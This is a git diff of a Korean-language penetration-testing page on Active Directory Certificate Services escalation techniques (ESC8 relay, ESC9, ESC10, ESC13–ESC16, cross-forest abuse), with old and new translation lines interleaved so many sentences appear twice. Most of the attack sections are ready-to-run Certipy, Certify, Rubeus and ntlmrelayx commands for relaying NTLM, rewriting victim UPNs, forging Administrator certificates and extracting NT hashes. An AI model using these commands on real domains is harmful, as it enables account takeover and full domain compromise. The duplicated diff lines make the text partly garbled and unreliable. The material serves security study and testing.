- **인증서 등록 서비스**(CES), **인증서 등록 정책**(CEP) 웹 서비스 및 **네트워크 장치 등록 서비스**(NDES)는 기본적으로 Authorization HTTP 헤더를 통해 협상 인증을 지원합니다. 협상 인증은 **Kerberos와 NTLM**을 모두 지원하여 공격자가 릴레이 공격 중 NTLM 인증으로 **다운그레이드**할 수 있게 합니다. 이러한 웹 서비스는 기본적으로 HTTPS를 활성화하지만, HTTPS만으로는 **NTLM 릴레이 공격으로부터 보호되지 않습니다**. HTTPS 서비스에 대한 NTLM 릴레이 공격으로부터의 보호는 HTTPS가 채널 바인딩과 결합될 때만 가능합니다. 불행히도, AD CS는 IIS에서 인증에 대한 확장 보호를 활성화하지 않으며, 이는 채널 바인딩에 필요합니다.
NTLM 릴레이 공격의 일반적인 **문제**는 **NTLM 세션의 짧은 지속 시간**과 **NTLM 서명을 요구하는 서비스와 상호작용할 수 없는 공격자의 능력**입니다.
NTLM 릴레이 공격의 일반적인 **문제**는 **NTLM 세션의 짧은 지속 시간**과 공격자가 **NTLM 서명을 요구하는 서비스와 상호작용할 수 없는**입니다.
그럼에도 불구하고, 이 제한은 NTLM 릴레이 공격을 이용하여 사용자의 인증서를 획득함으로써 극복됩니다. 인증서의 유효 기간이 세션의 지속 시간을 결정하며, 인증서는 **NTLM 서명을 요구하는 서비스**와 함께 사용할 수 있습니다. 도난당한 인증서를 사용하는 방법에 대한 지침은 다음을 참조하십시오:
그럼에도 불구하고, 이 제한은 NTLM 릴레이 공격을 이용하여 사용자의 인증서를 획득함으로써 극복됩니다. 인증서의 유효 기간이 세션의 지속 시간을 결정하며, 인증서는 **NTLM 서명을 요구하는 서비스와 함께 사용될 수 있습니다**. 도난당한 인증서를 사용하는 방법에 대한 지침은 다음을 참조하십시오:
{{#ref}}
account-persistence.md
@ -363,7 +363,7 @@ Get-CertificationAuthority | select Name,Enroll* | Format-List *
```
<figure><img src="../../../images/image (940).png" alt=""><figcaption></figcaption></figure>
#### Certify 악용하기
#### Certify를 이용한 악용
```bash
## In the victim machine
# Prepare to send traffic to the compromised machine 445 port to 445 in the attackers machine
@ -380,7 +380,7 @@ execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe <victim> <
```
#### Abuse with [Certipy](https://github.com/ly4k/Certipy)
Certipy는 기본적으로 `Machine` 또는 `User` 템플릿을 기반으로 인증서 요청을 합니다. 이는 릴레이되는 계정 이름이 `$`로 끝나는지 여부에 따라 결정됩니다. 대체 템플릿의 지정은 `-template` 매개변수를 사용하여 수행할 수 있습니다.
Certipy는 기본적으로 `Machine` 또는 `User` 템플릿을 기반으로 인증서 요청을 합니다. 이는 릴레이되는 계정 이름이 `$`로 끝나는지에 따라 결정됩니다. 대체 템플릿의 지정은 `-template` 매개변수를 사용하여 달성할 수 있습니다.
그런 다음 [PetitPotam](https://github.com/ly4k/PetitPotam)과 같은 기술을 사용하여 인증을 강제할 수 있습니다. 도메인 컨트롤러를 다룰 때는 `-template DomainController`를 지정해야 합니다.
```bash
@ -399,18 +399,18 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
### Explanation
새로운 값 **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`)는 **`msPKI-Enrollment-Flag`**에 대해 ESC9로 언급되며, 인증서에 **새로운 `szOID_NTDS_CA_SECURITY_EXT` 보안 확장**을 포함하는 것을 방지합니다. 이 플래그는 `StrongCertificateBindingEnforcement``1`(기본 설정)으로 설정될 때 관련성이 있으며, 이는 `2`로 설정된 경우와 대조됩니다. ESC9가 없으면 요구 사항이 변경되지 않기 때문에 Kerberos 또는 Schannel에 대한 더 약한 인증서 매핑이 악용될 수 있는 시나리오에서 그 중요성이 높아집니다(ESC10과 같이).
새로운 값 **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`)는 **`msPKI-Enrollment-Flag`**에 대해 ESC9로 언급되며, 인증서에 **새로운 `szOID_NTDS_CA_SECURITY_EXT` 보안 확장**을 포함하는 것을 방지합니다. 이 플래그는 `StrongCertificateBindingEnforcement``1`(기본 설정)으로 설정될 때 관련성이 있으며, 이는 `2`로 설정된 경우와 대조됩니다. ESC9가 없으면 요구 사항이 변경되지 않기 때문에 Kerberos 또는 Schannel에 대한 더 약한 인증서 매핑이 악용될 수 있는 시나리오에서 그 중요성이 높아집니다(ESC10 참조).
이 플래그의 설정이 중요해지는 조건은 다음과 같습니다:
- `StrongCertificateBindingEnforcement``2`로 조정되지 않거나(기본값은 `1`), `CertificateMappingMethods``UPN` 플래그가 포함되어 있습니다.
- 인증서가 `msPKI-Enrollment-Flag` 설정 내에서 `CT_FLAG_NO_SECURITY_EXTENSION` 플래그로 표시됩니다.
- 인증서에 의해 클라이언트 인증 EKU가 지정됩니다.
- 다른 계정을 타협하기 위해 `GenericWrite` 권한이 사용 가능합니다.
- 다른 계정을 손상시키기 위해 `GenericWrite` 권한이 사용 가능합니다.
### Abuse Scenario
`John@corp.local``Jane@corp.local`에 대해 `GenericWrite` 권한을 보유하고 있으며, `Administrator@corp.local`타협할 목표를 가지고 있다고 가정해 보겠습니다. `Jane@corp.local`이 등록할 수 있는 `ESC9` 인증서 템플릿은 `msPKI-Enrollment-Flag` 설정에서 `CT_FLAG_NO_SECURITY_EXTENSION` 플래그로 구성되어 있습니다.
`John@corp.local``Jane@corp.local`에 대해 `GenericWrite` 권한을 보유하고 있으며, `Administrator@corp.local`손상시키려는 목표를 가지고 있다고 가정해 보겠습니다. `Jane@corp.local`이 등록할 수 있는 `ESC9` 인증서 템플릿은 `msPKI-Enrollment-Flag` 설정에서 `CT_FLAG_NO_SECURITY_EXTENSION` 플래그로 구성되어 있습니다.
처음에 `Jane`의 해시는 `John``GenericWrite` 덕분에 Shadow Credentials를 사용하여 획득됩니다:
```bash
@ -426,13 +426,13 @@ certipy account update -username John@corp.local -password Passw0rd! -user Jane
```bash
certipy req -username jane@corp.local -hashes <hash> -ca corp-DC-CA -template ESC9
```
인증서의 `userPrincipalName``Administrator`를 반영하며, “object SID”가 없습니다.
인증서의 `userPrincipalName`“object SID” 없이 `Administrator`를 반영하는 것으로 기록됩니다.
`Jane``userPrincipalName`은 원래의 `Jane@corp.local`로 되돌려집니다:
```bash
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local
```
발급된 인증서 인증을 시도하면 이제 `Administrator@corp.local`의 NT 해시가 생성됩니다. 인증서에 도메인 지정이 없기 때문에 명령에는 `-domain <domain>`이 포함되어야 합니다:
발급된 인증서를 사용하여 인증을 시도하면 이제 `Administrator@corp.local`의 NT 해시가 생성됩니다. 인증서에 도메인 지정이 없기 때문에 명령에는 `-domain <domain>`이 포함되어야 합니다:
```bash
certipy auth -pfx adminitrator.pfx -domain corp.local
```
@ -455,11 +455,11 @@ certipy auth -pfx adminitrator.pfx -domain corp.local
### Abuse Case 1
`StrongCertificateBindingEnforcement``0`으로 구성된 경우, `GenericWrite` 권한을 가진 계정 A는 계정 B를 손상시키기 위해 악용될 수 있습니다.
`StrongCertificateBindingEnforcement``0`으로 구성된 경우, `GenericWrite` 권한을 가진 계정 A는 계정 B를 손상시키는 데 악용될 수 있습니다.
예를 들어, `Jane@corp.local`에 대한 `GenericWrite` 권한을 가진 공격자는 `Administrator@corp.local`을 손상시키려 합니다. 이 절차는 ESC9와 유사하며, 모든 인증서 템플릿을 사용할 수 있게 합니다.
처음에, `Jane`의 해시는 Shadow Credentials를 사용하여 `GenericWrite`를 악용하여 검색됩니다.
처음에 `Jane`의 해시는 Shadow Credentials를 사용하여 `GenericWrite`를 악용하여 검색됩니다.
```bash
certipy shadow autho -username John@corp.local -p Passw0rd! -a Jane
```
@ -481,7 +481,7 @@ certipy auth -pfx administrator.pfx -domain corp.local
```
### Abuse Case 2
`CertificateMappingMethods``UPN` 비트 플래그(`0x4`)가 포함된 경우, `GenericWrite` 권한을 가진 계정 A는 `userPrincipalName` 속성이 없는 모든 계정 B를 손상시킬 수 있으며, 여기에는 머신 계정과 내장 도메인 관리자 `Administrator`가 포함됩니다.
`CertificateMappingMethods``UPN` 비트 플래그(`0x4`)가 포함되어 있는 경우, `GenericWrite` 권한이 있는 계정 A는 `userPrincipalName` 속성이 없는 모든 계정 B를 손상시킬 수 있으며, 여기에는 머신 계정과 내장 도메인 관리자 `Administrator`가 포함됩니다.
여기서 목표는 `Jane`의 해시를 Shadow Credentials를 통해 얻고 `GenericWrite`를 활용하여 `DC$@corp.local`을 손상시키는 것입니다.
```bash
@ -565,7 +565,7 @@ $ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -s
관리자는 인증 기관을 "Yubico YubiHSM2"와 같은 외부 장치에 저장하도록 설정할 수 있습니다.
USB 장치가 CA 서버에 USB 포트를 통해 연결되거나 CA 서버가 가상 머신인 경우 USB 장치 서버에 연결된 경우, YubiHSM에서 키를 생성하고 활용하기 위해 인증 키(때때로 "비밀번호"라고도 함)가 필요합니다.
USB 장치가 CA 서버에 USB 포트를 통해 연결되거나 CA 서버가 가상 머신인 경우 USB 장치 서버에 연결된 경우, YubiHSM에서 키를 생성하고 활용하기 위해 Key Storage Provider에 대한 인증 키(때때로 "비밀번호"라고도 함)가 필요합니다.
이 키/비밀번호는 레지스트리의 `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword`에 평문으로 저장됩니다.
@ -589,7 +589,7 @@ $ certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my <CA Common
### 설명
`msPKI-Certificate-Policy` 속성은 발급 정책을 인증서 템플릿에 추가할 수 있게 해줍니다. 정책을 발급하는 책임이 있는 `msPKI-Enterprise-Oid` 객체는 PKI OID 컨테이너의 구성 명명 컨텍스트(CN=OID,CN=Public Key Services,CN=Services)에서 발견할 수 있습니다. 정책은 이 객체의 `msDS-OIDToGroupLink` 속성을 사용하여 AD 그룹에 연결될 수 있으며, 이를 통해 시스템은 인증서를 제시하는 사용자가 그룹의 구성원인 것처럼 권한을 부여할 수 있습니다. [여기 참조](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53).
`msPKI-Certificate-Policy` 속성은 발급 정책을 인증서 템플릿에 추가할 수 있게 니다. 정책을 발급하는 책임이 있는 `msPKI-Enterprise-Oid` 객체는 PKI OID 컨테이너의 구성 명명 컨텍스트(CN=OID,CN=Public Key Services,CN=Services)에서 발견할 수 있습니다. 정책은 이 객체의 `msDS-OIDToGroupLink` 속성을 사용하여 AD 그룹에 연결될 수 있으며, 이를 통해 시스템은 인증서를 제시하는 사용자가 그룹의 구성원인 것처럼 권한을 부여할 수 있습니다. [여기 참조](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53).
다시 말해, 사용자가 인증서를 등록할 수 있는 권한이 있고 인증서가 OID 그룹에 연결되어 있을 때, 사용자는 이 그룹의 권한을 상속받을 수 있습니다.
@ -625,18 +625,217 @@ OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
```bash
certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target "DC01.domain.local" -ca 'DC01-CA' -template 'VulnerableTemplate'
```
## Compromising Forests with Certificates Explained in Passive Voice
## 취약한 인증서 갱신 구성 - ESC14
### Breaking of Forest Trusts by Compromised CAs
### 설명
**교차 포리스트 등록**을 위한 구성은 상대적으로 간단하게 이루어집니다. **리소스 포리스트의 루트 CA 인증서**는 관리자가 **계정 포리스트에 게시**하고, **리소스 포리스트의 엔터프라이즈 CA** 인증서는 **각 계정 포리스트의 `NTAuthCertificates` 및 AIA 컨테이너에 추가**됩니다. 이 arrangement는 **리소스 포리스트의 CA가 PKI를 관리하는 모든 다른 포리스트에 대한 완전한 제어 권한**을 부여합니다. 만약 이 CA가 **공격자에 의해 손상된다면**, 리소스 및 계정 포리스트의 모든 사용자에 대한 인증서가 **위조될 수 있으며**, 이로 인해 포리스트의 보안 경계가 깨질 수 있습니다.
https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc14-weak-explicit-certificate-mapping 에 있는 설명은 매우 철저합니다. 아래는 원본 텍스트의 인용입니다.
### Enrollment Privileges Granted to Foreign Principals
ESC14는 "약한 명시적 인증서 매핑"에서 발생하는 취약점을 다루며, 주로 Active Directory 사용자 또는 컴퓨터 계정의 `altSecurityIdentities` 속성의 오용 또는 안전하지 않은 구성으로 인해 발생합니다. 이 다중 값 속성은 관리자가 인증 목적으로 AD 계정과 X.509 인증서를 수동으로 연결할 수 있도록 합니다. 채워지면, 이러한 명시적 매핑은 일반적으로 인증서의 SAN에 있는 UPN 또는 DNS 이름, 또는 `szOID_NTDS_CA_SECURITY_EXT` 보안 확장에 내장된 SID에 의존하는 기본 인증서 매핑 논리를 무시할 수 있습니다.
다중 포리스트 환경에서는 **인증된 사용자 또는 외부 주체**(엔터프라이즈 CA가 속한 포리스트 외부의 사용자/그룹)에게 **등록 및 편집 권한**을 허용하는 인증서 템플릿을 **게시하는 엔터프라이즈 CA**에 대해 주의가 필요합니다.\
신뢰를 통해 인증이 이루어지면, **인증된 사용자 SID**가 AD에 의해 사용자의 토큰에 추가됩니다. 따라서 도메인에 **인증된 사용자 등록 권한을 허용하는 템플릿**이 있는 엔터프라이즈 CA가 있다면, **다른 포리스트의 사용자가 템플릿에 등록될 수 있습니다**. 마찬가지로, **템플릿에 의해 외부 주체에게 명시적으로 등록 권한이 부여된다면**, **교차 포리스트 접근 제어 관계가 생성되어**, 한 포리스트의 주체가 **다른 포리스트의 템플릿에 등록할 수 있게 됩니다**.
"약한" 매핑은 `altSecurityIdentities` 속성 내에서 인증서를 식별하는 데 사용되는 문자열 값이 너무 광범위하거나 쉽게 추측 가능하며, 고유하지 않은 인증서 필드에 의존하거나 쉽게 스푸핑할 수 있는 인증서 구성 요소를 사용할 때 발생합니다. 공격자가 특권 계정에 대한 이러한 약하게 정의된 명시적 매핑과 일치하는 속성을 가진 인증서를 얻거나 제작할 수 있다면, 그 인증서를 사용하여 해당 계정으로 인증하고 가장할 수 있습니다.
두 시나리오는 한 포리스트에서 다른 포리스트로의 **공격 표면 증가**로 이어집니다. 인증서 템플릿의 설정은 공격자가 외부 도메인에서 추가 권한을 얻기 위해 악용될 수 있습니다.
잠재적으로 약한 `altSecurityIdentities` 매핑 문자열의 예는 다음과 같습니다:
- 일반적인 주체 공통 이름(CN)으로만 매핑: 예: `X509:<S>CN=SomeUser`. 공격자는 덜 안전한 출처에서 이 CN을 가진 인증서를 얻을 수 있습니다.
- 특정 일련 번호나 주체 키 식별자와 같은 추가 자격 없이 지나치게 일반적인 발급자 구별 이름(DN) 또는 주체 DN을 사용하는 경우: 예: `X509:<I>CN=SomeInternalCA<S>CN=GenericUser`.
- 공격자가 합법적으로 얻거나 위조할 수 있는 인증서에서 만족할 수 있는 다른 예측 가능한 패턴이나 비암호화 식별자를 사용하는 경우(예: ESC1에서 취약한 템플릿을 찾거나 CA를 손상시킨 경우).
`altSecurityIdentities` 속성은 매핑을 위한 다양한 형식을 지원합니다:
- `X509:<I>IssuerDN<S>SubjectDN` (전체 발급자 및 주체 DN으로 매핑)
- `X509:<SKI>SubjectKeyIdentifier` (인증서의 주체 키 식별자 확장 값으로 매핑)
- `X509:<SR>SerialNumberBackedByIssuerDN` (일련 번호로 매핑, 암묵적으로 발급자 DN으로 자격 부여됨) - 이는 표준 형식이 아니며, 일반적으로 `<I>IssuerDN<SR>SerialNumber`입니다.
- `X509:<RFC822>EmailAddress` (SAN에서 RFC822 이름, 일반적으로 이메일 주소로 매핑)
- `X509:<SHA1-PUKEY>Thumbprint-of-Raw-PublicKey` (인증서의 원시 공개 키의 SHA1 해시로 매핑 - 일반적으로 강력함)
이러한 매핑의 보안은 매핑 문자열에 사용된 선택된 인증서 식별자의 구체성, 고유성 및 암호화 강도에 크게 의존합니다. 도메인 컨트롤러에서 강력한 인증서 바인딩 모드가 활성화되어 있더라도(주로 SAN UPN/DNS 및 SID 확장을 기반으로 한 암묵적 매핑에 영향을 미침), 잘못 구성된 `altSecurityIdentities` 항목은 매핑 논리가 결함이 있거나 너무 관대할 경우 여전히 가장을 위한 직접적인 경로를 제공할 수 있습니다.
### 남용 시나리오
ESC14는 Active Directory(AD)의 **명시적 인증서 매핑**을 목표로 하며, 특히 `altSecurityIdentities` 속성을 다룹니다. 이 속성이 설정되어 있으면(설계 또는 잘못된 구성으로 인해), 공격자는 매핑과 일치하는 인증서를 제시하여 계정을 가장할 수 있습니다.
#### 시나리오 A: 공격자가 `altSecurityIdentities`에 쓸 수 있음
**전제 조건**: 공격자는 대상 계정의 `altSecurityIdentities` 속성에 대한 쓰기 권한이 있거나 다음 권한 중 하나의 형태로 이를 부여할 수 있는 권한이 있습니다:
- 속성 `altSecurityIdentities` 쓰기
- 속성 `Public-Information` 쓰기
- 속성(모두) 쓰기
- `WriteDACL`
- `WriteOwner`*
- `GenericWrite`
- `GenericAll`
- 소유자*.
#### 시나리오 B: 대상이 X509RFC822(이메일)를 통한 약한 매핑을 가짐
- **전제 조건**: 대상은 `altSecurityIdentities`에 약한 X509RFC822 매핑을 가지고 있습니다. 공격자는 피해자의 메일 속성을 대상의 X509RFC822 이름과 일치하도록 설정하고, 피해자로서 인증서를 등록한 후 이를 사용하여 대상 계정으로 인증할 수 있습니다.
#### 시나리오 C: 대상이 X509IssuerSubject 매핑을 가짐
- **전제 조건**: 대상은 `altSecurityIdentities`에 약한 X509IssuerSubject 명시적 매핑을 가지고 있습니다. 공격자는 피해자 주체의 `cn` 또는 `dNSHostName` 속성을 대상의 X509IssuerSubject 매핑의 주체와 일치하도록 설정할 수 있습니다. 그런 다음, 공격자는 피해자로서 인증서를 등록하고 이 인증서를 사용하여 대상 계정으로 인증할 수 있습니다.
#### 시나리오 D: 대상이 X509SubjectOnly 매핑을 가짐
- **전제 조건**: 대상은 `altSecurityIdentities`에 약한 X509SubjectOnly 명시적 매핑을 가지고 있습니다. 공격자는 피해자 주체의 `cn` 또는 `dNSHostName` 속성을 대상의 X509SubjectOnly 매핑의 주체와 일치하도록 설정할 수 있습니다. 그런 다음, 공격자는 피해자로서 인증서를 등록하고 이 인증서를 사용하여 대상 계정으로 인증할 수 있습니다.
### 구체적인 작업
#### 시나리오 A
인증서 템플릿 `Machine`의 인증서를 요청합니다.
```bash
.\Certify.exe request /ca:<ca> /template:Machine /machine
```
인증서를 저장하고 변환합니다.
```bash
certutil -MergePFX .\esc13.pem .\esc13.pfx
```
인증 (인증서를 사용하여)
```bash
.\Rubeus.exe asktgt /user:<user> /certificate:C:\esc13.pfx /nowrap
```
정리 (선택 사항)
```bash
Remove-AltSecIDMapping -DistinguishedName "CN=TargetUserA,CN=Users,DC=external,DC=local" -MappingString "X509:<I>DC=local,DC=external,CN=external-EXTCA01-CA<SR>250000000000a5e838c6db04f959250000006c"
```
더 구체적인 공격 방법은 다양한 공격 시나리오에서 다음을 참조하십시오: [adcs-esc14-abuse-technique](https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9#aca0).
## EKUwu 애플리케이션 정책(CVE-2024-49019) - ESC15
### 설명
https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc의 설명은 매우 철저합니다. 아래는 원본 텍스트의 인용입니다.
기본 제공되는 버전 1 인증서 템플릿을 사용하여 공격자는 템플릿에 지정된 구성된 확장 키 사용 속성보다 선호되는 애플리케이션 정책을 포함하는 CSR을 작성할 수 있습니다. 유일한 요구 사항은 등록 권한이며, 이를 사용하여 **_WebServer_** 템플릿을 사용하여 클라이언트 인증, 인증서 요청 에이전트 및 코드 서명 인증서를 생성할 수 있습니다.
### 남용
다음은 [이 링크](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc15-arbitrary-application-policy-injection-in-v1-templates-cve-2024-49019-ekuwu)를 참조합니다. 더 자세한 사용 방법을 보려면 클릭하십시오.
Certipy의 `find` 명령은 CA가 패치되지 않은 경우 ESC15에 잠재적으로 취약한 V1 템플릿을 식별하는 데 도움이 될 수 있습니다.
```bash
certipy find -username cccc@aaa.htb -password aaaaaa -dc-ip 10.0.0.100
```
#### Scenario A: Direct Impersonation via Schannel
**Step 1: 인증서를 요청하고 "클라이언트 인증" 애플리케이션 정책과 대상 UPN을 주입합니다.** 공격자 `attacker@corp.local`는 "WebServer" V1 템플릿을 사용하여 `administrator@corp.local`을 목표로 합니다 (이 템플릿은 등록자가 제공한 주제를 허용합니다).
```bash
certipy req \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -target 'CA.CORP.LOCAL' \
-ca 'CORP-CA' -template 'WebServer' \
-upn 'administrator@corp.local' -sid 'S-1-5-21-...-500' \
-application-policies 'Client Authentication'
```
- `-template 'WebServer'`: "Enrollee supplies subject"가 있는 취약한 V1 템플릿입니다.
- `-application-policies 'Client Authentication'`: CSR의 Application Policies 확장에 OID `1.3.6.1.5.5.7.3.2`를 주입합니다.
- `-upn 'administrator@corp.local'`: 임포스네이션을 위해 SAN에 UPN을 설정합니다.
**Step 2: 획득한 인증서를 사용하여 Schannel (LDAPS)를 통해 인증합니다.**
```bash
certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100' -ldap-shell
```
#### Scenario B: PKINIT/Kerberos Impersonation via Enrollment Agent Abuse
**Step 1: V1 템플릿에서 인증서 요청하기 ("Enrollee supplies subject" 포함), "Certificate Request Agent" 애플리케이션 정책 주입.** 이 인증서는 공격자(`attacker@corp.local`)가 등록 에이전트가 되기 위한 것입니다. 여기서 공격자의 고유 사용자 이름(UPN)은 지정되지 않으며, 목표는 에이전트 기능입니다.
```bash
certipy req \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -target 'CA.CORP.LOCAL' \
-ca 'CORP-CA' -template 'WebServer' \
-application-policies 'Certificate Request Agent'
```
- `-application-policies 'Certificate Request Agent'`: OID `1.3.6.1.4.1.311.20.2.1`를 주입합니다.
**2단계: "agent" 인증서를 사용하여 대상 권한이 있는 사용자 대신 인증서를 요청합니다.** 이는 1단계의 인증서를 에이전트 인증서로 사용하는 ESC3와 유사한 단계입니다.
```bash
certipy req \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -target 'CA.CORP.LOCAL' \
-ca 'CORP-CA' -template 'User' \
-pfx 'attacker.pfx' -on-behalf-of 'CORP\Administrator'
```
**3단계: "on-behalf-of" 인증서를 사용하여 특권 사용자로 인증합니다.**
```bash
certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100'
```
## Security Extension Disabled on CA (Globally)-ESC16
### Explanation
**ESC16 (권한 상승 via 누락된 szOID_NTDS_CA_SECURITY_EXT 확장)**는 AD CS의 구성에서 모든 인증서에 **szOID_NTDS_CA_SECURITY_EXT** 확장을 포함하도록 강제하지 않을 경우, 공격자가 이를 악용할 수 있는 시나리오를 나타냅니다:
1. **SID 바인딩 없이** 인증서를 요청합니다.
2. 이 인증서를 사용하여 **모든 계정으로 인증**합니다. 예를 들어, 높은 권한의 계정(예: 도메인 관리자)으로 가장할 수 있습니다.
자세한 원리를 배우려면 이 기사를 참조할 수 있습니다: https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6
### Abuse
다음은 [이 링크](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally)를 참조합니다. 더 자세한 사용 방법을 보려면 클릭하세요.
Active Directory Certificate Services (AD CS) 환경이 **ESC16**에 취약한지 식별하기 위해
```bash
certipy find -u 'attacker@corp.local' -p '' -dc-ip 10.0.0.100 -stdout -vulnerable
```
**1단계: 피해자 계정의 초기 UPN 읽기 (선택 사항 - 복원을 위해).**
```bash
certipy account \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -user 'victim' \
read
```
**2단계: 피해자 계정의 UPN을 대상 관리자의 `sAMAccountName`으로 업데이트합니다.**
```bash
certipy account \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -upn 'administrator' \
-user 'victim' update
```
**3단계: (필요한 경우) "희생자" 계정의 자격 증명 얻기 (예: Shadow Credentials를 통해).**
```shell
certipy shadow \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -account 'victim' \
auto
```
**4단계: ESC16 취약한 CA에서 _적절한 클라이언트 인증 템플릿_ (예: "User")을 사용하여 "희생자" 사용자로 인증서를 요청합니다.** CA가 ESC16에 취약하기 때문에, 템플릿의 특정 설정과 관계없이 발급된 인증서에서 SID 보안 확장을 자동으로 생략합니다. Kerberos 자격 증명 캐시 환경 변수를 설정합니다 (셸 명령):
```bash
export KRB5CCNAME=victim.ccache
```
그런 다음 인증서를 요청하십시오:
```bash
certipy req \
-k -dc-ip '10.0.0.100' \
-target 'CA.CORP.LOCAL' -ca 'CORP-CA' \
-template 'User'
```
**5단계: "희생자" 계정의 UPN을 되돌립니다.**
```bash
certipy account \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -upn 'victim@corp.local' \
-user 'victim' update
```
**6단계: 대상 관리자로 인증합니다.**
```bash
certipy auth \
-dc-ip '10.0.0.100' -pfx 'administrator.pfx' \
-username 'administrator' -domain 'corp.local'
```
## 인증서로 숲을 타락시키는 방법 설명 (수동태)
### 손상된 CA에 의한 숲 신뢰의 파괴
**교차 숲 등록**을 위한 구성은 상대적으로 간단하게 이루어집니다. **리소스 숲의 루트 CA 인증서**는 관리자가 **계정 숲에 게시**하고, **리소스 숲의 엔터프라이즈 CA** 인증서는 **각 계정 숲의 `NTAuthCertificates` 및 AIA 컨테이너에 추가**됩니다. 이 arrangement는 **리소스 숲의 CA가 PKI를 관리하는 모든 다른 숲에 대한 완전한 제어권**을 부여합니다. 만약 이 CA가 **공격자에 의해 손상된다면**, 리소스 및 계정 숲의 모든 사용자에 대한 인증서가 **그들에 의해 위조될 수 있으며**, 이는 숲의 보안 경계를 깨뜨리게 됩니다.
### 외부 주체에게 부여된 등록 권한
다중 숲 환경에서는 **인증된 사용자 또는 외부 주체**(엔터프라이즈 CA가 속한 숲 외부의 사용자/그룹)의 **등록 및 편집 권한**을 허용하는 인증서 템플릿을 **게시하는 엔터프라이즈 CA**에 대해 주의가 필요합니다.\
신뢰를 통해 인증이 이루어지면, **인증된 사용자 SID**가 AD에 의해 사용자의 토큰에 추가됩니다. 따라서, 도메인에 **인증된 사용자 등록 권한을 허용하는 템플릿**이 있는 엔터프라이즈 CA가 있다면, **다른 숲의 사용자가 템플릿에 등록될 수 있는 가능성이 있습니다**. 마찬가지로, **템플릿에 의해 외부 주체에게 명시적으로 등록 권한이 부여된다면**, **교차 숲 접근 제어 관계가 생성되어**, 한 숲의 주체가 **다른 숲의 템플릿에 등록할 수 있게 됩니다**.
두 시나리오는 한 숲에서 다른 숲으로의 **공격 표면 증가**로 이어집니다. 인증서 템플릿의 설정은 공격자가 외부 도메인에서 추가 권한을 얻기 위해 악용될 수 있습니다.
{{#include ../../../banners/hacktricks-training.md}}